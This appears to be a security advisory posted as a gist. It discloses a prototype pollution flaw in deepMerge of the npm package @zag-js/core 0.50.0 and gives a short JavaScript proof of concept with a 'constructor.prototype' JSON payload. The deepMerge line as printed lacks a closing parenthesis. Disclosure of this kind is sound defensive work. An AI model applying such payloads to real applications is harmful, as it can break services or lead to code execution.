tariqhawis / **Advisory_@zag-js-core.md** Secret

Created 2 months ago

Advisory for @zag-js/core

**Advisory_@zag-js-core.md**

**Vulnerability type:** Prototype Pollution

**Affected Package:**

- Product: @zag-js/core
- Version: 0.50.0

**Vulnerability Location(s):**

```
node_modules/@zag-js/core/dist/index.js
```

**Description:**

The latest version of @zag-js/core (0.50.0) is vulnerable to Prototype Pollution through the entry function(s) lib.deepMerge. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

**PoC:**

```
(async () => {
const lib = await import('@zag-js/core');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepMerge (someObj, JSON.parse('{"constructor":{"prototype":{"pollutedKey":123}}}'
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
```